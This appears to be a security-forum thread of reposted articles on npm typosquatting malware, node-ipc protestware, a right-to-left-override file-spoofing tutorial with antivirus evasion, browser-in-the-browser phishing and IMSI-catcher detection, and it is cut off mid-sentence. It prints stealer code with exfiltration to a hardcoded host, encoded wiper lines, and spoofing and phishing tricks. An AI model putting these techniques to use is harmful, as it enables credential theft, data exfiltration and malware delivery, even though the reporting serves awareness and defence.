Nytro

Eu cred ca ti-a dat un request pentru toate acele items si tu le-ai aprobat. Doar ca nu ai stiut ce ii dai. Aparent se poate vedea ce ai in inventar si oricine iti poate cere ce vrea. Steam te intreaba si daca dai "Accept" se duc la persoana respectiva. Adica nu stiu daca ai ce sa faci, daca acesta e cazul, doar sa incerci sa vorbesti cu cei de la support. In plus, ce faci cu ele? Nu ajuta la nimic mizeriile alea. PS: Daca jucati CS:GO pe servere AWP only, dati un semn, mai joc si eu seara (noaptea de fapt).

Large-scale npm attack targets Azure developers with malicious packages The JFrog Security Research team identified hundreds of malicious packages designed to steal PII in a large scale typosquatting attack By Andrey Polkovnychenko and Shachar Menashe March 23, 2022 8 min read SHARE: The JFrog Security research team continuously monitors popular open source software (OSS) repositories with our automated tooling to avert potential software supply chain security threats, and reports any vulnerabilities or malicious packages discovered to repository maintainers and the wider community. Two days ago, several of our automated analyzers started alerting on a set of packages in the npm Registry. This particular set of packages steadily grew over a few days, from about 50 packages to more than 200 packages (as of March 21st). After manually inspecting some of these packages, it became apparent that this was a targeted attack against the entire @azure npm scope, by an attacker that employed an automatic script to create accounts and upload malicious packages that cover the entirety of that scope. Currently, the observed malicious payload of these packages were PII (Personally identifiable information) stealers. The entire set of malicious packages was disclosed to the npm maintainers and the packages were quickly removed. Who is being targeted? The attacker seemed to target all npm developers that use any of the packages under the @azure scope, with a typosquatting attack. In addition to the @azure scope, a few packages from the following scopes were also targeted – @azure-rest, @azure-tests, @azure-tools and @cadl-lang. Since this set of legitimate packages is downloaded tens of millions of times each week, there is a high chance that some developers will be successfully fooled by the typosquatting attack. What software supply chain attack method is used? The attack method is typosquatting – the attacker simply creates a new (malicious) package with the same name as an existing @azure scope package, but drops the scope name. For example, here is a legitimate azure npm package – And its malicious counterpart – This was done for (at least) 218 packages. The full list of disclosed packages is posted on JFrog’s security research website and as an Appendix to this post. The attacker is relying on the fact that some developers may erroneously omit the @azure prefix when installing a package. For example, running npm install core-tracing by mistake, instead of the correct command – npm install @azure/core-tracing In addition to the typosquatting infection method, all of the malicious packages had extremely high version numbers (ex. 99.10.9) which is indicative of a dependency confusion attack. A possible conjecture is that the attacker tried to target developers and machines running from internal Microsoft/Azure networks, in addition to the typosquatting-based targeting of regular npm users. As mentioned, we did not pursue research on this attack vector and as such this is just a conjecture. Blurring the attack origins using automation Due to the scale of the attack, it is obvious that the attacker used a script to upload the malicious packages. The attacker also tried to hide the fact that all of these malicious packages were uploaded by the same author, by creating a unique user (with a randomly-generated name) per each malicious package uploaded – Technical analysis of the malicious payload As mentioned, the malicious payload of these packages was a PII stealing/reconnaissance payload. The malicious code runs automatically once the package is installed, and leaks the following details – Directory listing of the following directories (non-recursive) – C:\ D:\ / /home The user’s username The user’s home directory The current working directory IP addresses of all network interfaces IP addresses of configured DNS servers The name of the (successful) attacking package const td = { p: package, c: __dirname, hd: os.homedir(), hn: os.hostname(), un: os.userInfo().username, dns: JSON.stringify(dns.getServers()), ip: JSON.stringify(gethttpips()), dirs: JSON.stringify(getFiles(["C:\\","D:\\","/","/home"])), } These details are leaked via two exfiltration vectors – HTTPS POST to the hardcoded hostname – “425a2.rt11.ml”. DNS query to “<HEXSTR>.425a2.rt11.ml” where <HEXSTR> is replaced with the leaked details, concatenated together as a hex-string – var hostname = "425a2.rt11.ml"; query_string=toHex(pkg.hn)+"."+toHex(pkg.p)+"."+toHex(pkg.un)+"."+getPathChunks(pkg.c)+"."+getIps()+"."+hostname; ... dns.lookup(query_string) We suspect that this malicious payload was either intended for initial reconnaissance on vulnerable targets (before sending a more substantial payload) or as a bug bounty hunting attempt against Azure users (and possibly Microsoft developers). The code also contains a set of clumsy tests, that presumably make sure the malicious payload does not run on the attacker’s own machines: function isValid(hostname, path, username, dirs) { if (hostname == "DESKTOP-4E1IS0K" && username == "daasadmin" && path.startsWith('D:\\TRANSFER\\')) { return false; } ... else if (hostname == 'lili-pc') { return false; } ... else if (hostname == 'aws-7grara913oid5jsexgkq') { return false; } ... else if (hostname == 'instance') { return false; } ... return true; } I am using JFrog Xray, am I protected? JFrog Xray users are protected from this attack. The JFrog security research team adds all verified findings, such as discovered malicious packages and zero-day vulnerabilities in open-source packages, to our Xray database before any public disclosure. Any usage of these malicious packages is flagged in Xray as a vulnerability. As always, any malicious dependency flagged in Xray should be promptly removed. I am an Azure developer using a targeted package, what should I do? Make sure your installed packages are the legitimate ones, by checking that their name starts with the @azure* scope. This can be done, for example, by changing your current directory to the npm project you would like to test, and running the following command – npm list | grep -f packages.txt Where “packages.txt” contains the full list of affected packages (see Appendix A). If any of the returned results does not begin with an “@azure*” scope, you might have been affected by this attack. Conclusion Luckily, since the packages were detected and disclosed very quickly (~2 days after they were published), it seems that they weren’t installed in large numbers. The package download numbers were uneven, but averaged around 50 downloads per package. It is clear that the npm maintainers are taking security very seriously. This was demonstrated many times by their actions, such as the preemptive blocking of specific package names to avoid future typosquatting and their two-factor-authentication requirement for popular package maintainers. However – due to the meteoric rise of supply chain attacks, especially through the npm and PyPI package repositories, it seems that more scrutiny and mitigations should be added. For example, adding a CAPTCHA mechanism on npm user creation would not allow attackers to easily create an arbitrary amount of users from which malicious packages could be uploaded, making attack identification easier (as well as enabling blocking of packages based on heuristics on the uploading account). In addition to that, the need for automatic package filtering as part of a secure software curation process, based on either SAST or DAST techniques (or preferably – both), is likely inevitable. Beyond the security capabilities provided with Xray, JFrog is providing several open-source tools that can help with identifying malicious npm packages. These tools can either be integrated into your current CI/CD pipeline, or be run as standalone utilities. Stay Up-to-Date with JFrog Security Research Follow the latest discoveries and technical updates from the JFrog Security Research team in our security research website and on Twitter at @JFrogSecurity. Appendix A – The detected malicious packages agrifood-farming ai-anomaly-detector ai-document-translator arm-advisor arm-analysisservices arm-apimanagement arm-appconfiguration arm-appinsights arm-appplatform arm-appservice arm-attestation arm-authorization arm-avs arm-azurestack arm-azurestackhci arm-batch arm-billing arm-botservice arm-cdn arm-changeanalysis arm-cognitiveservices arm-commerce arm-commitmentplans arm-communication arm-compute arm-confluent arm-consumption arm-containerinstance arm-containerregistry arm-containerservice arm-cosmosdb arm-customerinsights arm-databox arm-databoxedge arm-databricks arm-datacatalog arm-datadog arm-datafactory arm-datalake-analytics arm-datamigration arm-deploymentmanager arm-desktopvirtualization arm-deviceprovisioningservices arm-devspaces arm-devtestlabs arm-digitaltwins arm-dns arm-dnsresolver arm-domainservices arm-eventgrid arm-eventhub arm-extendedlocation arm-features arm-frontdoor Arm-hanaonazure arm-hdinsight arm-healthbot arm-healthcareapis arm-hybridcompute arm-hybridkubernetes arm-imagebuilder arm-iotcentral arm-iothub arm-keyvault arm-kubernetesconfiguration arm-labservices arm-links arm-loadtestservice arm-locks arm-logic arm-machinelearningcompute arm-machinelearningexperimentation arm-machinelearningservices arm-managedapplications arm-managementgroups arm-managementpartner arm-maps arm-mariadb arm-marketplaceordering arm-mediaservices arm-migrate arm-mixedreality arm-mobilenetwork arm-monitor arm-msi arm-mysql arm-netapp arm-network arm-notificationhubs arm-oep arm-operationalinsights arm-operations arm-orbital arm-peering arm-policy arm-portal arm-postgresql arm-postgresql-flexible arm-powerbidedicated arm-powerbiembedded arm-privatedns arm-purview arm-quota arm-recoveryservices arm-recoveryservices-siterecovery arm-recoveryservicesbackup arm-rediscache arm-redisenterprisecache arm-relay arm-reservations arm-resourcegraph arm-resourcehealth arm-resourcemover arm-resources arm-resources-subscriptions arm-search arm-security arm-serialconsole arm-servicebus arm-servicefabric arm-servicefabricmesh arm-servicemap arm-signalr arm-sql arm-sqlvirtualmachine arm-storage arm-storagecache arm-storageimportexport arm-storagesync arm-storsimple1200series arm-storsimple8000series arm-streamanalytics arm-subscriptions arm-support arm-synapse arm-templatespecs arm-timeseriesinsights arm-trafficmanager arm-videoanalyzer arm-visualstudio arm-vmwarecloudsimple arm-webpubsub arm-webservices arm-workspaces cadl-autorest cadl-azure-core cadl-azure-resource-manager cadl-playground cadl-providerhub cadl-providerhub-controller cadl-providerhub-templates-contoso cadl-samples codemodel communication-chat communication-common communication-identity communication-network-traversal communication-phone-numbers communication-short-codes communication-sms confidential-ledger core-amqp core-asynciterator-polyfill core-auth core-client-1 core-http core-http-compat core-lro core-paging core-rest-pipeline core-tracing core-xml deduplication digital-twins-core dll-docs dtdl-parser eslint-config-cadl eslint-plugin-azure-sdk eventhubs-checkpointstore-blob eventhubs-checkpointstore-table extension-base helloworld123ccwq identity-cache-persistence identity-vscode iot-device-update iot-device-update-1 iot-modelsrepository keyvault-admin mixed-reality-authentication mixed-reality-remote-rendering modelerfour monitor-opentelemetry-exporter oai2-to-oai3 openapi3 opentelemetry-instrumentation-azure-sdk pnpmfile.js prettier-plugin-cadl purview-administration purview-catalog purview-scanning quantum-jobs storage-blob-changefeed storage-file-datalake storage-queue synapse-access-control synapse-artifacts synapse-managed-private-endpoints synapse-monitoring synapse-spark test-public-packages test-utils-perf testing-recorder-new testmodeler video-analyzer-edge videojs-wistia web-pubsub web-pubsub-express Sursa: https://jfrog.com/blog/large-scale-npm-attack-targets-azure-developers-with-malicious-packages/

Initial Access - Right-To-Left Override [T1036.002] 21 Mar 2022 You have probably heard that Microsoft will soon disable macros in the documents that are coming from the internet (https://docs.microsoft.com/en-us/deployoffice/security/internet-macros-blocked). It got me thinking, what are the other alternatives to gain initial access to the target’s environment, what kind of payloads can we deliver? While browsing Mitre’s att&ck I have come across a pretty old technique, known as the right-to-left override attack (rtlo). If you have never heard of it, I will try to explain it briefly. Some languages write from left to right side, like English and German for example. Some languages write from right to left side, like Arabic and Hebrew for example. By default, Windows OS displays letters from left to right side but since it also supports other languages it supports writing from right to left side. There is a unicode character that flips the text to the right-to-left side () and you can combine it with the already existing text. Basically, you can reverse text in file names and that way hide the true file extension. Note: In my examples Windows OS is set up to show the file extensions. By default file extensions are hidden. I believe there is no point in performing this type of extension spoofing if the target Windows OS is hiding file extensions. I have written a simple tool in c# that spoofs the extension of a desired executable as well as changes the icon to anything you specify. How to use the tool? The tool accepts two arguments, the first one is the input executable and the second is the icon. Since I don’t know how to easily explain how to use my tool I will try to explain it through examples. Firstly you need to rename your executable to suits the required format before passing it into the tool. Make sure that the extension you would like to spoof is the last part before the true extension. For example if you want to make a file look like “.png” make sure your executable name is something like “simple.exemple.png.exe”. Also, make sure that the true extension, let’s say it is “.exe” or “.scr”, is present in the filename, whether in its true form or reversed (“exe.” or “rcs.”), like “simple.exemple.png.exe”. (More details on reversed extension below.) Once you rename your executable to match the required format pass it to the tool as a first argument along with the desired icon. ./rtlo-attack.exe simple.exemple.png.exe png.ico The tool works by taking the file extension, like in the previous example “.exe” and finding the match inside the executable’s name. After the match is found, it adds rtlo and ltro characters to hide the actual extension and preserve the ordinary-looking name. If you are interested in more details take a look at the source code. Additional obfuscation As I mentioned a few paragraphs above, you can also reverse the true file extension to obfuscate it even more. Let’s take a look at the next example. I am going to use the”.scr” extension, since reversing “.exe” doesn’t look much different. Note: To create an “.scr” executable just change the file extension from “.exe” to “.scr” and the executable will still run. So let’s rename an executable to meet filename format requirements before we pass it to the tool. Rename the executable to something like “My-picturcs.png.scr” and pass it to the tool. Notice how we specified the true file extension but in reverse (“rcs.”) in the file name. After the tool has done its magic the resulting executable name will look like this “My-picturcs.png”. The other interesting way of obfuscation is changing extension casing. Since Windows OS doesn’t care about the lower or upper case, you can have an extension such as “.exE”. An example executable can look like this “My.exEnvironment.png.exE” and the output would end up looking like this: “My.exEnvironment.png”. Name ideas: Original name Spoofed name Company.Executive.Summary.txt.Exe Company.Executive.Summary.txt SOMETHINGEXe.png.eXE SOMETHINGEXe.png What about anti-virus? You might have noticed that some AVs, like Microsoft’s Defender, for example, flag a file with rtlo character in its name. Fortunately, someone has already researched that part. Thanks to the http://blog.sevagas.com/?Bypass-Defender-and-other-thoughts-on-Unicode-RTLO-attacks, he concluded that AV might flag the file if it contains a rtlo character and ends with a valid extension. I will summarize it below but I encourage you to read the article. For example, if you spoof the file name to look like “smth.executive.summary.txt” it will be flagged by AV, but if the name is “smth.executive.summary.blah” it will not. If only there is a way to make an extension look legit but is not actually valid… Of course there is a way. Since we are already playing with different languages why wouldn’t we use letters from different alphabets. For example payload “smth.executive.summary.txt” is flagged by the AV, but “smth.executive.summary.tхt” is not since the “x” (\u0445) is not an actual Latin letter “x” (\u0078) but an Cyrillic version of letter “h”. Simply copy/paste the unicode character from any unicode table website and paste it into the file name and it will do the trick. Note: There are a variety of executable file extensions, but keep in mind that not all of them can have a custom icon. For example, you can’t change the icon of the “.bat” or “.com” file types. But how do we deliver it? One option would be to make your target download ZIP archive or ISO/VHD image. ISO image is automatically mounted to the Windows OS by simply double-clicking it and since it is a different system file format it would bypass the so-called mark-of-the-web (MOTW). But that is the content for the other post. The end! Sursa: https://www.exandroid.dev/2022/03/21/initial-access-right-to-left-override-t1036002/

https://www.bleepingcomputer.com/news/security/okta-confirms-25-percent-customers-impacted-by-hack-in-january/

Browser-in-the-Browser Attack Makes Phishing Nearly Invisible Author:Lisa Vaas March 21, 2022 7:57 pm Can we trust web browsers to protect us, even if they say “https?” Not with the novel BitB attack, which fakes popup SSO windows to phish away credentials for Google, Facebook and Microsoft, et al. We’ve had it beaten into our brains: Before you go wily-nily clicking on a page, check the URL. First things first, the tried-and-usually-but-not-always-true advice goes, check that the site’s URL shows “https,” indicating that the site is secured with TLS/SSL encryption. If only it were that easy to avoid phishing sites. In reality, URL reliability hasn’t been absolute for a long time, given things like homograph attacks that swap in similar-looking characters in order to create new, identical-looking but malicious URLs, as well as DNS hijacking, in which Domain Name System (DNS) queries are subverted. Now, there’s one more way to trick targets into coughing up sensitive info, with a coding ruse that’s invisible to the naked eye. The novel phishing technique, described last week by a penetration tester and security researcher who goes by the handle mr.d0x, is called a browser-in-the-browser (BitB) attack. The novel method takes advantage of third-party single sign-on (SSO) options embedded on websites that issue popup windows for authentication, such as “Sign in with Google,” Facebook, Apple or Microsoft. The researcher used Canva as an example: In the log-in window for Canva shown below, the popup asks users to authenticate via their Google account. Login to Canva using Google account credentials. Source: mr.d0x It’s Easy to Fabricate an Identical, Malicious Popup These days, SSO popups are a routine way to authenticate when you sign in. But according to mr.d0x’s post, completely fabricating a malicious version of a popup window is a snap: It’s “quite simple” using basic HTML/CSS, the researcher said. The concocted popups simulate a browser window within the browser, spoofing a legitimate domain and making it possible to stage convincing phishing attacks. “Combine the window design with an iframe pointing to the malicious server hosting the phishing page, and [it’s] basically indistinguishable,” mr.d0x wrote. The report provided an image, included below, that shows a side-by-side of a fake window next to the real window. Nearly identical real vs. fake login pages. Source: mr.d0x. “Very few people would notice the slight differences between the two,” according to the report. JavaScript can make the window appear on a link, button click or page loading screen, the report continued. As well, libraries – such as the popular JQuery JavaScript library – can make the window appear visually appealing … or, at least, visually bouncy, as depicted in the .gif provided in the researcher’s demo and shown below. BitB demo. Source: mr.d0x. Hovering Over Links: Another Easily Fooled Security Safeguard The BitB attack can also flummox those who use the trick of hovering over a URL to figure out if it’s legitimate, the researcher said: If JavaScript is permitted, the security safeguard is rendered ineffective. The writeup pointed to how HTML for a link generally looks, as in this sample: <a href=”https://gmail.com”>Google</a> “If an onclick event that returns false is added, then hovering over the link will continue to show the website in the href attribute but when the link is clicked then the href attribute is ignored,” the researcher explained. “We can use this knowledge to make the pop-up window appear more realistic,” they said, providing this visually undetectable HTML trick: <a href=”https://gmail.com” onclick=”return launchWindow();”>Google</a> function launchWindow(){ // Launch the fake authentication window return false; // This will make sure the href attribute is ignored } All the More Reason for MFA Thus does the BitB technique undercut both the fact that a URL contains the “https” encryption designation as a trustworthy site, as well as the hover-over-it security check. “With this technique we are now able to up our phishing game,” the researcher concluded. Granted, a target user would still need to land on a threat actor’s website for the malicious popup window to be displayed. But once the fly has landed in the spider’s web, there’s nothing alarming to make them struggle against the idea of handing over SSO credentials. “Once landed on the attacker-owned website, the user will be at ease as they type their credentials away on what appears to be the legitimate website (because the trustworthy URL says so),” mr.d0x wrote. But there are other security checks that the BitB attack would have to overcome: namely, those that don’t rely on the fallibility of human eyeballs. Password managers, for example, probably wouldn’t autofill credentials into a fake BitB popup because software wouldn’t interpret the as a real browser window. Lucas Budman, CEO of passwordless workforce identity management firm TruU, said that with these attacks, it’s just a matter of time before people fork over their passwords to the wrong person, thereby relegating multifactor authentication (MFA) to “a single factor as the password is already compromised.” Budman told Threatpost on Monday that password reuse makes it particularly dangerous, including sites that aren’t MFA-enabled. “As long as username/password is used, even with 2FA, it is completely vulnerable to such attacks,” he said via email. “As bad actors get more sophisticated with their attacks, the move to passwordless MFA is more critical now than ever. Eliminate the attack vector by eliminating the password with password-less MFA.” By passwordless MFA, he is, of course, referring to ditching passwords or other knowledge-based secrets in favor of providing a secure proof of identity through a registered device or token. GitHub, for one, made a move on this front in May 2021, when it added support for FIDO2 security keys for Git over SSH in order to fend off account hijacking and further its plan to stick a fork in the security bane of passwords. The portable FIDO2 fobs are used for SSH authentication to secure Git operations and to forestall the misery that unfurls when private keys accidentally get lost or pilfered, when malware tries to initiate requests without user approval or when researchers come up with newfangled ways to bamboozle eyeballs – BitB being a case in point. Sursa: https://threatpost.com/browser-in-the-browser-attack-makes-phishing-nearly-invisible/179014/

Exercitiile sunt inca disponibile (mare majoritate). In curand vom publica si writeups-urile. Asteptam feedback. Cel mai probabil de saptamana viitoare nu vor mai fi, dar vom publica codurile sursa ale acestora (marea majoritate).

OPEN TO EVERYBODY Registration In order to inspire even more people for this topic and to strengthen the objectives of the ECSC in the long term, the openECSC is planned in 2022 alongside the ECSC. Only young talents up to the age of 25 and only 10 finalists per country per year can take part in the ECSC. In order to promote even more talents, everybody (also non-Europeans), regardless of whether they are a security enthusiast or an expert, can demonstrate their skills at the openECSC without restriction and become part of the ECSC community. This is a welcome opportunity, especially for the security experts of many companies in Europe, to demonstrate their skills. VALUATION openECSC: The participants not only represent their country in a national ranking, but also have the chance to compete against the best in Europe in an individual ranking. In the Nations Cup, it is decided how many participants per country can solve the most tasks. In order to ensure equal opportunities between smaller and larger countries, the number of participants per country – divided by the total number of its inhabitants – who can solve most of the tasks is evaluated. The individual evaluation decides who was able to solve the most tasks during the day. In the case of a tie, it is decided who was able to solve the tasks faster. The winners of the individual ranking will be awarded. The respective ECSC team of the top 3 countries will receive the prizes for the Nations Cup at the award ceremony of the ECSC. The openECSC is conducted as an “online” competition. Participants can register on the online HackingLab platform from February 20th. After registration, each participant will be provided with exercises for training and preparation. The competition day is September 15, 2022 Start is at 08:00 to 17:00 (CET) Registration openECSC 2022 Communication Phase Round 1 12 Challenges 19/03 - 29/04/2022 Shadow Event 1 Finale openECSC 15 Challenges 15/09/2022 Round 2 12 Challenges 30/04 - 17/06/2022 Shadow Event 2 Round 3 12 Challenges 18/06 - 26/08/2022 Small trophys for each round winners! Sursa: https://www.ecsc2022.eu/about-ecsc/open-ecsc-2022/

Relaying to Greatness: Windows Privilege Escalation by abusing the RPC/DCOM protocols NTLM “Relaying” is a well known replay attack for Windows systems in which the attacker

Sabotage: Code added to popular NPM package wiped files in Russia and Belarus When code with millions of downloads nukes user files, bad things can happen. DAN GOODIN - 3/18/2022, 8:31 PM Enlarge Getty Images A developer has been caught adding malicious code to a popular open-source package that wiped files on computers located in Russia and Belarus as part of a protest that has enraged many users and raised concerns about the safety of free and open source software. The application, node-ipc, adds remote interprocess communication and neural networking capabilities to other open source code libraries. As a dependency, node-ipc is automatically downloaded and incorporated into other libraries, including ones like Vue.js CLI, which has more than 1 million weekly downloads. A deliberate and dangerous act Two weeks ago, the node-ipc author pushed a new version of the library that sabotaged computers in Russia and Belarus, the countries invading Ukraine and providing support for the invasion, respectively. The new release added a function that checked the IP address of developers who used the node-ipc in their own projects. When an IP address geolocated to either Russia or Belarus, the new version wiped files from the machine and replaced them with a heart emoji. To conceal the malice, node-ipc author Brandon Nozaki Miller base-64-encoded the changes to make things harder for users who wanted to visually inspect them to check for problems. This is what those developers saw: + const n2 = Buffer.from("Li8=", "base64"); + const o2 = Buffer.from("Li4v", "base64"); + const r = Buffer.from("Li4vLi4v", "base64"); + const f = Buffer.from("Lw==", "base64"); + const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); + const e = Buffer.from("cnVzc2lh", "base64"); + const i = Buffer.from("YmVsYXJ1cw==", "base64"); These lines were then passed to the timer function, such as: + h(n2.toString("utf8")); The values for the Base64 strings were: n2 is set to: ./ o2 is set to: ../ r is set to: ../../ f is set to: / When passed to the timer function, the lines were then used as inputs to wipe files and replace them with the heart emoji. + try { + import_fs3.default.writeFile(i, c.toString("utf8"), function() { + }); “At this point, a very clear abuse and a critical supply chain security incident will occur for any system on which this npm package will be called upon, if that matches a geolocation of either Russia or Belarus,” wrote Liran Tal, a researcher at Snyk, a security company that tracked the changes and published its findings on Wednesday. Tal found that the node-ipc author maintains 40 other libraries, with some or all of them also being dependencies for other open source packages. Referring to the node-ipc author’s handle, Tal questioned the wisdom of the protest and its likely fallout for the open source ecosystem as a whole. “Even if the deliberate and dangerous act of maintainer RIAEvangelist will be perceived by some as a legitimate act of protest, how does that reflect on the maintainer’s future reputation and stake in the developer community?" Tal wrote. "Would this maintainer ever be trusted again to not follow up on future acts in such or even more aggressive actions for any projects they participate in?” RIAEvangelist also came under fire on Twitter and in open source forums. "This is like Tesla intentionally putting in code to detect certain drivers and if they vaguely match the description then to auto drive them into the nearest phone pole and hoping it only punishes particular drivers," one person wrote. A different person added: "What if the deleted files are actually mission critical that can kill others? ARS VIDEO Blade Runner Game Director Louis Castle: Extended Interview Protestware comes of age The node-ipc update is just one example of what some researchers are calling protestware. Experts have begun tracking other open source projects that are also releasing updates calling out the brutality of Russia’s war. This spreadsheet lists 21 separate packages that are affected. One such package is es5-ext, which provides code for the ECMAScript 6 scripting language specification. A new dependency named postinstall.js, which the developer added on March 7, checks to see if the user’s computer has a Russian IP address, in which case the code broadcasts a “call for peace.” “The people of Ukraine are fully mobilized and ready to defend their country from the enemy invasion,” the message translated into English read in part. “91% of Ukrainians fully support their President Volodymyr Zelensky and his response to the Russian attack.” Here’s a snippet of the code: Enlarge The protestware event exposes some of the risks posed when armies of volunteer developers produce the code that’s crucial for hundreds or thousands of other applications to run. Some open source software automatically downloads and incorporates new dependency versions, and even for those that don't, the vast amount of code often makes manual reviews infeasible. That means an update from a single individual has the potential to throw a wrench in an untold number of downstream applications. FURTHER READING Developer sabotages his own apps, then claims Aaron Swartz was murdered This risk was on full display in January, when the developer of two JavaScript libraries with more than 22 million downloads pushed an update that caused more than 21,000 dependent apps to spew gibberish, prefaced by the words “Liberty Liberty Liberty.” An infinite loop produced by the update sent developers scrambling as they attempted to fix their malfunctioning apps. The disk-wiping function was added to node-ipc versions 10.1.1 and 10.1.2. Following the outcry over the wiper, the developer released updates that removed the malicious function. Snyk recommends that developers stop using the package altogether. If that’s not possible, the company advises the use of an npm package manager to override the sabotaged versions and pin a known good version. “Snyk stands with Ukraine, and we’ve proactively acted to support the Ukrainian people during the ongoing crisis with donations and free service to developers worldwide, as well as taking action to cease business in Russia and Belarus,” Tal wrote. “That said, intentional abuse such as this undermines the global open source community and requires us to flag impacted versions of node-ipc as security vulnerabilities.” Post updated to remove comments making unverified claims and to correct a statement about default open source behavior towards dependency updates. Sursa: https://arstechnica.com/information-technology/2022/03/sabotage-code-added-to-popular-npm-package-wiped-files-in-russia-and-belarus/

Reverse Engineering resources A curated list of awesome reversing resources Awesome Reversing Books Courses Practice Hex Editors Binary Format Disassemblers Binary Analysis Bytecode Analysis Import Reconstruction Dynamic Analysis Debugging Mac Decrypt Document Analysis Scripting Android Yara Books Reverse Engineering Books The IDA Pro Book Radare2 Book Reverse Engineering for Beginners The Art of Assembly Language Practical Reverse Engineering Reversing: Secrets of Reverse Engineering Practical Malware Analysis Malware Analyst's Cookbook Gray Hat Hacking Access Denied The Art of Memory Forensics Hacking: The Art of Exploitation Fuzzing for Software Security Art of Software Security Assessment The Antivirus Hacker's Handbook The Rootkit Arsenal Windows Internals Part 1 Part 2 Inside Windows Debugging iOS Reverse Engineering Courses Reverse Engineering Courses Lenas Reversing for Newbies Open Security Training Dr. Fu's Malware Analysis Binary Auditing Course TiGa's Video Tutorials Legend of Random Modern Binary Exploitation RPISEC Malware Course SANS FOR 610 GREM REcon Training Blackhat Training Offensive Security Corelan Training Offensive and Defensive Android Reversing Practice Practice Reverse Engineering. Be careful with malware. Crackmes.de OSX Crackmes ESET Challenges Flare-on Challenges Github CTF Archives Reverse Engineering Challenges xorpd Advanced Assembly Exercises Virusshare.com Contagio Malware-Traffic-Analysis Malshare Malware Blacklist malwr.com vxvault Hex Editors Hex Editors HxD 010 Editor Hex Workshop HexFiend Hiew hecate Binary Format Binary Format Tools CFF Explorer Cerbero Profiler // Lite PE Insider Detect It Easy PeStudio PEiD MachoView nm - View Symbols file - File information codesign - Code signing information usage: codesign -dvvv filename Disassemblers Disassemblers IDA Pro GHIDRA Binary Ninja Radare Hopper Capstone objdump fREedom Binary Analysis Binary Analysis Resources Mobius Resources z3 bap angr Bytecode Analysis Bytecode Analysis Tools dnSpy Bytecode Viewer Bytecode Visualizer JPEXS Flash Decompiler Import Reconstruction Import Reconstruction Tools ImpRec Scylla LordPE Dynamic Analysis Dynamic Analysis Tools ProcessHacker Process Explorer Process Monitor Autoruns Noriben API Monitor iNetSim SmartSniff TCPView Wireshark Fakenet Volatility Dumpit LiME Cuckoo Objective-See Utilities XCode Instruments - XCode Instruments for Monitoring Files and Processes User Guide dtrace - sudo dtruss = strace dtrace recipes fs_usage - report system calls and page faults related to filesystem activity in real-time. File I/O: fs_usage -w -f filesystem dmesg - display the system message buffer Debugging Debugging Tools WinDbg OllyDbg v1.10 OllyDbg v2.01 OllySnD Olly Shadow Olly CiMs Olly UST_2bg x64dbg gdb vdb lldb qira unicorn Mac Decrypt Mac Decrypting Tools Cerbero Profiler - Select all -> Copy to new file AppEncryptor - Tool for decrypting Class-Dump - use deprotect option readmem - OS X Reverser's process dumping tool Document Analysis Document Analysis Tools Ole Tools Didier's PDF Tools Origami Scripting Scripting IDA Python Src IDC Functions Doc Using IDAPython to Make your Life Easier Introduction to IDA Python The Beginner's Guide to IDA Python IDA Plugin Contest onehawt IDA Plugin List pefile Python Library Android Android tools Android Studio APKtool dex2jar Bytecode Viewer IDA Pro JaDx Yara Yara Resources Yara docs Cheatsheet yarGen Yara First Presentation Please have a look at Top Hacking Books Top Reverse Engineering Books Top Machine learning Books Top 5 books Programming Books Top Java Books Sursa: https://github.com/wtsxDev/reverse-engineering

Ba da, eu sunt. Daca e prezentarea de la Defcon au trecut destul de multi ani de atunci, am facut burta.

Pare ceva ce necesita si cunostiinte hardware si "finete", eu nu m-as baga. Ultima oara cand am incercat sa repar o tastatura (de laptop) a iesit urat.

How to detect IMSI catchers Defending against the most effective mobile attacks. HOME BLOG HOW TO DETECT IMSI CATCHERS IMSI catchers are one of the most effective surveillance techniques of all time. They’re used by police, governments and criminals to spy on victim’s phones. This spy tech is rarely deployed with a warrant. Western governments buy commercial products from US companies like the “Stingray” from Harris Corp. Criminals can also buy IMSI catchers, from unregulated online Chinese and Israeli vendors. These IMSI catchers have been used for corporate espionage and blackmail. They’ve been found at embassies, airports, political protests and sports events. IMSI catchers work by intercepting the traffic from all phones in an area. Operators can track a victim’s location, read their SMS, listen to phone calls and intercept data. An attacker can target thousands of devices. IMSI catchers can be mounted on people, cars or airplanes that can spy on entire cities at once. Apple and Google seem unwilling to help their users against IMSI catchers. However, if you have the right tools you can at least catch them spying on you. The “BlackFin” IMSI catcher from leaked NSA catalogues. Radio Sentinel Radio Sentinel is an app that’s included with Armadillo Phone. It’s capable of detecting cellular attacks over 2G, 3G, 4G and 5G. Besides IMSI catchers, Radio Sentinel can also detect silent SMS and some SS7 attacks. It works offline, without needing to upload data to a third-party server. Radio Sentinel requires extensive modifications to Android, so unfortunately it can’t easily be ported to other devices. Radio Sentinel will trigger a notification when a warning is detected. If that attack is high severity, you will automatically be disconnected from the cellular network. By default, while Radio Sentinel is active only 4G and 5G networks are allowed. This is to prevent “downgrade attacks”, caused when an IMSI catcher forces the victim to use an older or weaker network so it can be attacked. Radio Sentinel has a wide range of warnings to detect different attacks. This includes warnings about incorrect frequencies, unknown networks, frequent location updates, empty paging requests, TAU rejects, silent SMS, cell reselect offsets and other behaviours that indicate a cellular attack. Radio Sentinel was tested extensively in Vancouver during development. It has been tested by early adopters against real attack equipment successfully. Now that it’s been released, we are continuing to improve it using the bug reports customers send us. We’re in the process of arranging a formal third-party audit to test Radio Sentinel against more attack equipment. If you have an IMSI catcher and would like to attack an Armadillo Phone, please contact us. Phone apps There are apps you can download that claim to detect IMSI catchers. These include “Android IMSI-Catcher Detector”, “Cell Spy Catcher”, “Darshak”, “SnoopSnitch” and others. Many are fake or useless. Some can detect IMSI catchers, however there are caveats. Most importantly, these apps can’t work on a normal phone. Apple and Google have restricted access to radio information that’s needed to detect attacks. To bypass this, these detection apps require a rooted phone, which weakens security protections. This means your phone is more vulnerable to hackers. Every app we tested had at least two of the following problems: Can’t detect the attacks they claim to Only detect attacks on one type of network ( i.e: only 3G and not 4G ) Only detect one type of attack ( i.e: only silent SMS ) Very old and don’t work on modern versions of Android Generates constant false positives, making them impractical Rely on crowdsourced data, which can be easily compromised Uploads data to a third-party server Only runs on a specific brand and model of phone Required a rooted phone ( less security ) SnoopSnitch is one of the best apps… but that’s not saying much. It’s nearly a decade old, requires root, and only works on ancient devices like the Nexus 5X. SnoopSnitch also requires an internet connection to their server. This means you could track people who are using SnoopSnitch. Although some of the uploaded data is anonymized, there is still lots of sensitive data like build properties and radio infromation being sent. These problems could open you up to new privacy and security concerns besides IMSI catchers. First Point FirstPoint is a company based in Israel that sells special SIM cards that can be inserted into any device. They developed an applet on the SIM that sends information over to 